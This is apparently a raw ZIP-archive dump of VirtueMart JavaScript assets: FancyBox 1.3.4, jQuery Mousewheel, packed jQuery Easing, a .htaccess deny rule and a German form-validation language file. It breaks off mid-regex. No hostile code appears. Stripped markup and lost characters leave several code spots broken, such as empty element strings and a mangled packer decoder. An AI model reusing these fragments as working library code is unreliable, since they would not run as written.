'number' ? arguments[0] : 200); }; $.fancybox.init = function() { if ($("#fancybox-wrap").length) { return; } $('body').append( tmp = $('
              '), loading = $('
              '), overlay = $('
              '), wrap = $('
              ') ); outer = $('
              ') .append('
              ') .appendTo( wrap ); outer.append( content = $('
              '), close = $(''), title = $('
              '), nav_left = $(''), nav_right = $('') ); close.click($.fancybox.close); loading.click($.fancybox.cancel); nav_left.click(function(e) { e.preventDefault(); $.fancybox.prev(); }); nav_right.click(function(e) { e.preventDefault(); $.fancybox.next(); }); if ($.fn.mousewheel) { wrap.bind('mousewheel.fb', function(e, delta) { if (busy) { e.preventDefault(); } else if ($(e.target).get(0).clientHeight == 0 || $(e.target).get(0).scrollHeight === $(e.target).get(0).clientHeight) { e.preventDefault(); $.fancybox[ delta > 0 ? 'prev' : 'next'](); } }); } if (!$.support.opacity) { wrap.addClass('fancybox-ie'); } if (isIE6) { loading.addClass('fancybox-ie6'); wrap.addClass('fancybox-ie6'); $('').prependTo(outer); } }; $.fn.fancybox.defaults = { padding : 10, margin : 40, opacity : false, modal : false, cyclic : false, scrolling : 'auto', // 'auto', 'yes' or 'no' width : 560, height : 340, autoScale : true, autoDimensions : true, centerOnScroll : false, ajax : {}, swf : { wmode: 'transparent' }, hideOnOverlayClick : true, hideOnContentClick : false, overlayShow : true, overlayOpacity : 0.7, overlayColor : '#777', titleShow : true, titlePosition : 'float', // 'float', 'outside', 'inside' or 'over' titleFormat : null, titleFromAlt : false, transitionIn : 'fade', // 'elastic', 'fade' or 'none' transitionOut : 'fade', // 'elastic', 'fade' or 'none' speedIn : 300, speedOut : 300, changeSpeed : 300, changeFade : 'fast', easingIn : 'swing', easingOut : 'swing', showCloseButton : true, showNavArrows : true, enableEscapeButton : true, enableKeyboardNav : true, onStart : function(){}, onCancel : function(){}, onComplete : function(){}, onCleanup : function(){}, onClosed : function(){}, onError : function(){} }; $(document).ready(function() { $.fancybox.init(); }); })(jQuery);PKGy>\)+com_virtuemart/assets/js/fancybox/.htaccessnuW+A Order allow,deny Deny from all PKGy>\`o#Acom_virtuemart/assets/js/fancybox/jquery.mousewheel-3.0.4.pack.jsnuW+A/*! Copyright (c) 2010 Brandon Aaron (http://brandonaaron.net) * Licensed under the MIT License (LICENSE.txt). * * Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers. * Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix. * Thanks to: Seamus Leahy for adding deltaX and deltaY * * Version: 3.0.4 * * Requires: 1.2.2+ */ (function(d){function g(a){var b=a||window.event,i=[].slice.call(arguments,1),c=0,h=0,e=0;a=d.event.fix(b);a.type="mousewheel";if(a.wheelDelta)c=a.wheelDelta/120;if(a.detail)c=-a.detail/3;e=c;if(b.axis!==undefined&&b.axis===b.HORIZONTAL_AXIS){e=0;h=-1*c}if(b.wheelDeltaY!==undefined)e=b.wheelDeltaY/120;if(b.wheelDeltaX!==undefined)h=-1*b.wheelDeltaX/120;i.unshift(a,c,h,e);return d.event.handle.apply(this,i)}var f=["DOMMouseScroll","mousewheel"];d.event.special.mousewheel={setup:function(){if(this.addEventListener)for(var a= f.length;a;)this.addEventListener(f[--a],g,false);else this.onmousewheel=g},teardown:function(){if(this.removeEventListener)for(var a=f.length;a;)this.removeEventListener(f[--a],g,false);else this.onmousewheel=null}};d.fn.extend({mousewheel:function(a){return a?this.bind("mousewheel",a):this.trigger("mousewheel")},unmousewheel:function(a){return this.unbind("mousewheel",a)}})})(jQuery);PKGy>\ e==;com_virtuemart/assets/js/fancybox/jquery.easing-1.3.pack.jsnuW+A/* * jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/ * * Uses the built in easing capabilities added In jQuery 1.1 * to offer multiple easing options * * TERMS OF USE - jQuery Easing * * Open source under the BSD License. * * Copyright © 2008 George McGinley Smith * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * Neither the name of the author nor the names of contributors may be used to endorse * or promote products derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. * */ // t: current time, b: begInnIng value, c: change In value, d: duration eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('h.i[\'1a\']=h.i[\'z\'];h.O(h.i,{y:\'D\',z:9(x,t,b,c,d){6 h.i[h.i.y](x,t,b,c,d)},17:9(x,t,b,c,d){6 c*(t/=d)*t+b},D:9(x,t,b,c,d){6-c*(t/=d)*(t-2)+b},13:9(x,t,b,c,d){e((t/=d/2)<1)6 c/2*t*t+b;6-c/2*((--t)*(t-2)-1)+b},X:9(x,t,b,c,d){6 c*(t/=d)*t*t+b},U:9(x,t,b,c,d){6 c*((t=t/d-1)*t*t+1)+b},R:9(x,t,b,c,d){e((t/=d/2)<1)6 c/2*t*t*t+b;6 c/2*((t-=2)*t*t+2)+b},N:9(x,t,b,c,d){6 c*(t/=d)*t*t*t+b},M:9(x,t,b,c,d){6-c*((t=t/d-1)*t*t*t-1)+b},L:9(x,t,b,c,d){e((t/=d/2)<1)6 c/2*t*t*t*t+b;6-c/2*((t-=2)*t*t*t-2)+b},K:9(x,t,b,c,d){6 c*(t/=d)*t*t*t*t+b},J:9(x,t,b,c,d){6 c*((t=t/d-1)*t*t*t*t+1)+b},I:9(x,t,b,c,d){e((t/=d/2)<1)6 c/2*t*t*t*t*t+b;6 c/2*((t-=2)*t*t*t*t+2)+b},G:9(x,t,b,c,d){6-c*8.C(t/d*(8.g/2))+c+b},15:9(x,t,b,c,d){6 c*8.n(t/d*(8.g/2))+b},12:9(x,t,b,c,d){6-c/2*(8.C(8.g*t/d)-1)+b},Z:9(x,t,b,c,d){6(t==0)?b:c*8.j(2,10*(t/d-1))+b},Y:9(x,t,b,c,d){6(t==d)?b+c:c*(-8.j(2,-10*t/d)+1)+b},W:9(x,t,b,c,d){e(t==0)6 b;e(t==d)6 b+c;e((t/=d/2)<1)6 c/2*8.j(2,10*(t-1))+b;6 c/2*(-8.j(2,-10*--t)+2)+b},V:9(x,t,b,c,d){6-c*(8.o(1-(t/=d)*t)-1)+b},S:9(x,t,b,c,d){6 c*8.o(1-(t=t/d-1)*t)+b},Q:9(x,t,b,c,d){e((t/=d/2)<1)6-c/2*(8.o(1-t*t)-1)+b;6 c/2*(8.o(1-(t-=2)*t)+1)+b},P:9(x,t,b,c,d){f s=1.l;f p=0;f a=c;e(t==0)6 b;e((t/=d)==1)6 b+c;e(!p)p=d*.3;e(a<8.w(c)){a=c;f s=p/4}m f s=p/(2*8.g)*8.r(c/a);6-(a*8.j(2,10*(t-=1))*8.n((t*d-s)*(2*8.g)/p))+b},H:9(x,t,b,c,d){f s=1.l;f p=0;f a=c;e(t==0)6 b;e((t/=d)==1)6 b+c;e(!p)p=d*.3;e(a<8.w(c)){a=c;f s=p/4}m f s=p/(2*8.g)*8.r(c/a);6 a*8.j(2,-10*t)*8.n((t*d-s)*(2*8.g)/p)+c+b},T:9(x,t,b,c,d){f s=1.l;f p=0;f a=c;e(t==0)6 b;e((t/=d/2)==2)6 b+c;e(!p)p=d*(.3*1.5);e(a<8.w(c)){a=c;f s=p/4}m f s=p/(2*8.g)*8.r(c/a);e(t<1)6-.5*(a*8.j(2,10*(t-=1))*8.n((t*d-s)*(2*8.g)/p))+b;6 a*8.j(2,-10*(t-=1))*8.n((t*d-s)*(2*8.g)/p)*.5+c+b},F:9(x,t,b,c,d,s){e(s==u)s=1.l;6 c*(t/=d)*t*((s+1)*t-s)+b},E:9(x,t,b,c,d,s){e(s==u)s=1.l;6 c*((t=t/d-1)*t*((s+1)*t+s)+1)+b},16:9(x,t,b,c,d,s){e(s==u)s=1.l;e((t/=d/2)<1)6 c/2*(t*t*(((s*=(1.B))+1)*t-s))+b;6 c/2*((t-=2)*t*(((s*=(1.B))+1)*t+s)+2)+b},A:9(x,t,b,c,d){6 c-h.i.v(x,d-t,0,c,d)+b},v:9(x,t,b,c,d){e((t/=d)<(1/2.k)){6 c*(7.q*t*t)+b}m e(t<(2/2.k)){6 c*(7.q*(t-=(1.5/2.k))*t+.k)+b}m e(t<(2.5/2.k)){6 c*(7.q*(t-=(2.14/2.k))*t+.11)+b}m{6 c*(7.q*(t-=(2.18/2.k))*t+.19)+b}},1b:9(x,t,b,c,d){e(t\,com_virtuemart/assets/js/fancybox/index.htmlnuW+APKGy>\+;==?com_virtuemart/assets/js/fancybox/jquery.fancybox-1.3.4.pack.jsnuW+A/* * FancyBox - jQuery Plugin * Simple and fancy lightbox alternative * * Examples and documentation at: http://fancybox.net * * Copyright (c) 2008 - 2010 Janis Skarnelis * That said, it is hardly a one-person project. Many people have submitted bugs, code, and offered their advice freely. Their support is greatly appreciated. * * Version: 1.3.4 (11/11/2010) * Requires: jQuery v1.3+ * * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html */ ;(function(b){var m,t,u,f,D,j,E,n,z,A,q=0,e={},o=[],p=0,d={},l=[],G=null,v=new Image,J=/\.(jpg|gif|png|bmp|jpeg)(.*)?$/i,W=/[^\.]\.(swf)\s*$/i,K,L=1,y=0,s="",r,i,h=false,B=b.extend(b("
              ")[0],{prop:0}),M=b.browser.msie&&b.browser.version<7&&!window.XMLHttpRequest,N=function(){t.hide();v.onerror=v.onload=null;G&&G.abort();m.empty()},O=function(){if(false===e.onError(o,q,e)){t.hide();h=false}else{e.titleShow=false;e.width="auto";e.height="auto";m.html('

              The requested content cannot be loaded.
              Please try again later.

              '); F()}},I=function(){var a=o[q],c,g,k,C,P,w;N();e=b.extend({},b.fn.fancybox.defaults,typeof b(a).data("fancybox")=="undefined"?e:b(a).data("fancybox"));w=e.onStart(o,q,e);if(w===false)h=false;else{if(typeof w=="object")e=b.extend(e,w);k=e.title||(a.nodeName?b(a).attr("title"):a.title)||"";if(a.nodeName&&!e.orig)e.orig=b(a).children("img:first").length?b(a).children("img:first"):b(a);if(k===""&&e.orig&&e.titleFromAlt)k=e.orig.attr("alt");c=e.href||(a.nodeName?b(a).attr("href"):a.href)||null;if(/^(?:javascript)/i.test(c)|| c=="#")c=null;if(e.type){g=e.type;if(!c)c=e.content}else if(e.content)g="html";else if(c)g=c.match(J)?"image":c.match(W)?"swf":b(a).hasClass("iframe")?"iframe":c.indexOf("#")===0?"inline":"ajax";if(g){if(g=="inline"){a=c.substr(c.indexOf("#"));g=b(a).length>0?"inline":"ajax"}e.type=g;e.href=c;e.title=k;if(e.autoDimensions)if(e.type=="html"||e.type=="inline"||e.type=="ajax"){e.width="auto";e.height="auto"}else e.autoDimensions=false;if(e.modal){e.overlayShow=true;e.hideOnOverlayClick=false;e.hideOnContentClick= false;e.enableEscapeButton=false;e.showCloseButton=false}e.padding=parseInt(e.padding,10);e.margin=parseInt(e.margin,10);m.css("padding",e.padding+e.margin);b(".fancybox-inline-tmp").unbind("fancybox-cancel").bind("fancybox-change",function(){b(this).replaceWith(j.children())});switch(g){case "html":m.html(e.content);F();break;case "inline":if(b(a).parent().is("#fancybox-content")===true){h=false;break}b('
              ').hide().insertBefore(b(a)).bind("fancybox-cleanup",function(){b(this).replaceWith(j.children())}).bind("fancybox-cancel", function(){b(this).replaceWith(m.children())});b(a).appendTo(m);F();break;case "image":h=false;b.fancybox.showActivity();v=new Image;v.onerror=function(){O()};v.onload=function(){h=true;v.onerror=v.onload=null;e.width=v.width;e.height=v.height;b("").attr({id:"fancybox-img",src:v.src,alt:e.title}).appendTo(m);Q()};v.src=c;break;case "swf":e.scrolling="no";C='';P="";b.each(e.swf,function(x,H){C+='';P+=" "+x+'="'+H+'"'});C+='";m.html(C);F();break;case "ajax":h=false;b.fancybox.showActivity();e.ajax.win=e.ajax.success;G=b.ajax(b.extend({},e.ajax,{url:c,data:e.ajax.data||{},error:function(x){x.status>0&&O()},success:function(x,H,R){if((typeof R=="object"?R:G).status==200){if(typeof e.ajax.win== "function"){w=e.ajax.win(c,x,H,R);if(w===false){t.hide();return}else if(typeof w=="string"||typeof w=="object")x=w}m.html(x);F()}}}));break;case "iframe":Q()}}else O()}},F=function(){var a=e.width,c=e.height;a=a.toString().indexOf("%")>-1?parseInt((b(window).width()-e.margin*2)*parseFloat(a)/100,10)+"px":a=="auto"?"auto":a+"px";c=c.toString().indexOf("%")>-1?parseInt((b(window).height()-e.margin*2)*parseFloat(c)/100,10)+"px":c=="auto"?"auto":c+"px";m.wrapInner('
              ');e.width=m.width();e.height=m.height();Q()},Q=function(){var a,c;t.hide();if(f.is(":visible")&&false===d.onCleanup(l,p,d)){b.event.trigger("fancybox-cancel");h=false}else{h=true;b(j.add(u)).unbind();b(window).unbind("resize.fb scroll.fb");b(document).unbind("keydown.fb");f.is(":visible")&&d.titlePosition!=="outside"&&f.css("height",f.height());l=o;p=q;d=e;if(d.overlayShow){u.css({"background-color":d.overlayColor, opacity:d.overlayOpacity,cursor:d.hideOnOverlayClick?"pointer":"auto",height:b(document).height()});if(!u.is(":visible")){M&&b("select:not(#fancybox-tmp select)").filter(function(){return this.style.visibility!=="hidden"}).css({visibility:"hidden"}).one("fancybox-cleanup",function(){this.style.visibility="inherit"});u.show()}}else u.hide();i=X();s=d.title||"";y=0;n.empty().removeAttr("style").removeClass();if(d.titleShow!==false){if(b.isFunction(d.titleFormat))a=d.titleFormat(s,l,p,d);else a=s&&s.length? d.titlePosition=="float"?'
              '+s+'
              ':'
              '+s+"
              ":false;s=a;if(!(!s||s==="")){n.addClass("fancybox-title-"+d.titlePosition).html(s).appendTo("body").show();switch(d.titlePosition){case "inside":n.css({width:i.width-d.padding*2,marginLeft:d.padding,marginRight:d.padding}); y=n.outerHeight(true);n.appendTo(D);i.height+=y;break;case "over":n.css({marginLeft:d.padding,width:i.width-d.padding*2,bottom:d.padding}).appendTo(D);break;case "float":n.css("left",parseInt((n.width()-i.width-40)/2,10)*-1).appendTo(f);break;default:n.css({width:i.width-d.padding*2,paddingLeft:d.padding,paddingRight:d.padding}).appendTo(f)}}}n.hide();if(f.is(":visible")){b(E.add(z).add(A)).hide();a=f.position();r={top:a.top,left:a.left,width:f.width(),height:f.height()};c=r.width==i.width&&r.height== i.height;j.fadeTo(d.changeFade,0.3,function(){var g=function(){j.html(m.contents()).fadeTo(d.changeFade,1,S)};b.event.trigger("fancybox-change");j.empty().removeAttr("filter").css({"border-width":d.padding,width:i.width-d.padding*2,height:e.autoDimensions?"auto":i.height-y-d.padding*2});if(c)g();else{B.prop=0;b(B).animate({prop:1},{duration:d.changeSpeed,easing:d.easingChange,step:T,complete:g})}})}else{f.removeAttr("style");j.css("border-width",d.padding);if(d.transitionIn=="elastic"){r=V();j.html(m.contents()); f.show();if(d.opacity)i.opacity=0;B.prop=0;b(B).animate({prop:1},{duration:d.speedIn,easing:d.easingIn,step:T,complete:S})}else{d.titlePosition=="inside"&&y>0&&n.show();j.css({width:i.width-d.padding*2,height:e.autoDimensions?"auto":i.height-y-d.padding*2}).html(m.contents());f.css(i).fadeIn(d.transitionIn=="none"?0:d.speedIn,S)}}}},Y=function(){if(d.enableEscapeButton||d.enableKeyboardNav)b(document).bind("keydown.fb",function(a){if(a.keyCode==27&&d.enableEscapeButton){a.preventDefault();b.fancybox.close()}else if((a.keyCode== 37||a.keyCode==39)&&d.enableKeyboardNav&&a.target.tagName!=="INPUT"&&a.target.tagName!=="TEXTAREA"&&a.target.tagName!=="SELECT"){a.preventDefault();b.fancybox[a.keyCode==37?"prev":"next"]()}});if(d.showNavArrows){if(d.cyclic&&l.length>1||p!==0)z.show();if(d.cyclic&&l.length>1||p!=l.length-1)A.show()}else{z.hide();A.hide()}},S=function(){if(!b.support.opacity){j.get(0).style.removeAttribute("filter");f.get(0).style.removeAttribute("filter")}e.autoDimensions&&j.css("height","auto");f.css("height","auto"); s&&s.length&&n.show();d.showCloseButton&&E.show();Y();d.hideOnContentClick&&j.bind("click",b.fancybox.close);d.hideOnOverlayClick&&u.bind("click",b.fancybox.close);b(window).bind("resize.fb",b.fancybox.resize);d.centerOnScroll&&b(window).bind("scroll.fb",b.fancybox.center);if(d.type=="iframe")b('').appendTo(j); f.show();h=false;b.fancybox.center();d.onComplete(l,p,d);var a,c;if(l.length-1>p){a=l[p+1].href;if(typeof a!=="undefined"&&a.match(J)){c=new Image;c.src=a}}if(p>0){a=l[p-1].href;if(typeof a!=="undefined"&&a.match(J)){c=new Image;c.src=a}}},T=function(a){var c={width:parseInt(r.width+(i.width-r.width)*a,10),height:parseInt(r.height+(i.height-r.height)*a,10),top:parseInt(r.top+(i.top-r.top)*a,10),left:parseInt(r.left+(i.left-r.left)*a,10)};if(typeof i.opacity!=="undefined")c.opacity=a<0.5?0.5:a;f.css(c); j.css({width:c.width-d.padding*2,height:c.height-y*a-d.padding*2})},U=function(){return[b(window).width()-d.margin*2,b(window).height()-d.margin*2,b(document).scrollLeft()+d.margin,b(document).scrollTop()+d.margin]},X=function(){var a=U(),c={},g=d.autoScale,k=d.padding*2;c.width=d.width.toString().indexOf("%")>-1?parseInt(a[0]*parseFloat(d.width)/100,10):d.width+k;c.height=d.height.toString().indexOf("%")>-1?parseInt(a[1]*parseFloat(d.height)/100,10):d.height+k;if(g&&(c.width>a[0]||c.height>a[1]))if(e.type== "image"||e.type=="swf"){g=d.width/d.height;if(c.width>a[0]){c.width=a[0];c.height=parseInt((c.width-k)/g+k,10)}if(c.height>a[1]){c.height=a[1];c.width=parseInt((c.height-k)*g+k,10)}}else{c.width=Math.min(c.width,a[0]);c.height=Math.min(c.height,a[1])}c.top=parseInt(Math.max(a[3]-20,a[3]+(a[1]-c.height-40)*0.5),10);c.left=parseInt(Math.max(a[2]-20,a[2]+(a[0]-c.width-40)*0.5),10);return c},V=function(){var a=e.orig?b(e.orig):false,c={};if(a&&a.length){c=a.offset();c.top+=parseInt(a.css("paddingTop"), 10)||0;c.left+=parseInt(a.css("paddingLeft"),10)||0;c.top+=parseInt(a.css("border-top-width"),10)||0;c.left+=parseInt(a.css("border-left-width"),10)||0;c.width=a.width();c.height=a.height();c={width:c.width+d.padding*2,height:c.height+d.padding*2,top:c.top-d.padding-20,left:c.left-d.padding-20}}else{a=U();c={width:d.padding*2,height:d.padding*2,top:parseInt(a[3]+a[1]*0.5,10),left:parseInt(a[2]+a[0]*0.5,10)}}return c},Z=function(){if(t.is(":visible")){b("div",t).css("top",L*-40+"px");L=(L+1)%12}else clearInterval(K)}; b.fn.fancybox=function(a){if(!b(this).length)return this;b(this).data("fancybox",b.extend({},a,b.metadata?b(this).metadata():{})).unbind("click.fb").bind("click.fb",function(c){c.preventDefault();if(!h){h=true;b(this).blur();o=[];q=0;c=b(this).attr("rel")||"";if(!c||c==""||c==="nofollow")o.push(this);else{o=b("a[rel="+c+"], area[rel="+c+"]");q=o.index(this)}I()}});return this};b.fancybox=function(a,c){var g;if(!h){h=true;g=typeof c!=="undefined"?c:{};o=[];q=parseInt(g.index,10)||0;if(b.isArray(a)){for(var k= 0,C=a.length;ko.length||q<0)q=0;I()}};b.fancybox.showActivity=function(){clearInterval(K);t.show();K=setInterval(Z,66)};b.fancybox.hideActivity=function(){t.hide()};b.fancybox.next=function(){return b.fancybox.pos(p+ 1)};b.fancybox.prev=function(){return b.fancybox.pos(p-1)};b.fancybox.pos=function(a){if(!h){a=parseInt(a);o=l;if(a>-1&&a1){q=a>=l.length?0:l.length-1;I()}}};b.fancybox.cancel=function(){if(!h){h=true;b.event.trigger("fancybox-cancel");N();e.onCancel(o,q,e);h=false}};b.fancybox.close=function(){function a(){u.fadeOut("fast");n.empty().hide();f.hide();b.event.trigger("fancybox-cleanup");j.empty();d.onClosed(l,p,d);l=e=[];p=q=0;d=e={};h=false}if(!(h||f.is(":hidden"))){h= true;if(d&&false===d.onCleanup(l,p,d))h=false;else{N();b(E.add(z).add(A)).hide();b(j.add(u)).unbind();b(window).unbind("resize.fb scroll.fb");b(document).unbind("keydown.fb");j.find("iframe").attr("src",M&&/^https/i.test(window.location.href||"")?"javascript:void(false)":"about:blank");d.titlePosition!=="inside"&&n.empty();f.stop();if(d.transitionOut=="elastic"){r=V();var c=f.position();i={top:c.top,left:c.left,width:f.width(),height:f.height()};if(d.opacity)i.opacity=1;n.empty().hide();B.prop=1; b(B).animate({prop:0},{duration:d.speedOut,easing:d.easingOut,step:T,complete:a})}else f.fadeOut(d.transitionOut=="none"?0:d.speedOut,a)}}};b.fancybox.resize=function(){u.is(":visible")&&u.css("height",b(document).height());b.fancybox.center(true)};b.fancybox.center=function(a){var c,g;if(!h){g=a===true?1:0;c=U();!g&&(f.width()>c[0]||f.height()>c[1])||f.stop().animate({top:parseInt(Math.max(c[3]-20,c[3]+(c[1]-j.height()-40)*0.5-d.padding)),left:parseInt(Math.max(c[2]-20,c[2]+(c[0]-j.width()-40)*0.5- d.padding))},typeof a=="number"?a:200)}};b.fancybox.init=function(){if(!b("#fancybox-wrap").length){b("body").append(m=b('
              '),t=b('
              '),u=b('
              '),f=b('
              '));D=b('
              ').append('
              ').appendTo(f); D.append(j=b('
              '),E=b(''),n=b('
              '),z=b(''),A=b(''));E.click(b.fancybox.close);t.click(b.fancybox.cancel);z.click(function(a){a.preventDefault();b.fancybox.prev()});A.click(function(a){a.preventDefault();b.fancybox.next()}); b.fn.mousewheel&&f.bind("mousewheel.fb",function(a,c){if(h)a.preventDefault();else if(b(a.target).get(0).clientHeight==0||b(a.target).get(0).scrollHeight===b(a.target).get(0).clientHeight){a.preventDefault();b.fancybox[c>0?"prev":"next"]()}});b.support.opacity||f.addClass("fancybox-ie");if(M){t.addClass("fancybox-ie6");f.addClass("fancybox-ie6");b('').prependTo(D)}}}; b.fn.fancybox.defaults={padding:10,margin:40,opacity:false,modal:false,cyclic:false,scrolling:"auto",width:560,height:340,autoScale:true,autoDimensions:true,centerOnScroll:false,ajax:{},swf:{wmode:"transparent"},hideOnOverlayClick:true,hideOnContentClick:false,overlayShow:true,overlayOpacity:0.7,overlayColor:"#777",titleShow:true,titlePosition:"float",titleFormat:null,titleFromAlt:false,transitionIn:"fade",transitionOut:"fade",speedIn:300,speedOut:300,changeSpeed:300,changeFade:"fast",easingIn:"swing", easingOut:"swing",showCloseButton:true,showNavArrows:true,enableEscapeButton:true,enableKeyboardNav:true,onStart:function(){},onCancel:function(){},onComplete:function(){},onCleanup:function(){},onClosed:function(){},onError:function(){}};b(document).ready(function(){b.fancybox.init()})})(jQuery);PKGy>\T@com_virtuemart/assets/js/languages/jquery.validationEngine-de.jsnuW+A (function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "none", "alertText": "* Dieses Feld ist ein Pflichtfeld", "alertTextCheckboxMultiple": "* Bitte wählen Sie eine Option", "alertTextCheckboxe": "* Dieses Feld ist ein Pflichtfeld" }, "minSize": { "regex": "none", "alertText": "* Mindestens ", "alertText2": " Zeichen benötigt" }, "maxSize": { "regex": "none", "alertText": "* Maximal ", "alertText2": " Zeichen erlaubt" }, "min": { "regex": "none", "alertText": "* Mindeswert ist " }, "max": { "regex": "none", "alertText": "* Maximalwert ist " }, "past": { "regex": "none", "alertText": "* Datum vor " }, "future": { "regex": "none", "alertText": "* Datum nach " }, "maxCheckbox": { "regex": "none", "alertText": "* Maximale Anzahl Markierungen überschritten" }, "minCheckbox": { "regex": "none", "alertText": "* Bitte wählen Sie ", "alertText2": " Optionen" }, "equals": { "regex": "none", "alertText": "* Felder stimmen nicht überein" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* Ungültige Telefonnummer" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Ungültige E-Mail Adresse" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* Keine gültige Ganzzahl" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* Keine gültige Fließkommazahl" }, "date": { // Date in ISO format. Credit: bassistance "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Ungültiges Datumsformat, erwartet wird das Format JJJJ-MM-TT" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* Ungültige IP Adresse" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)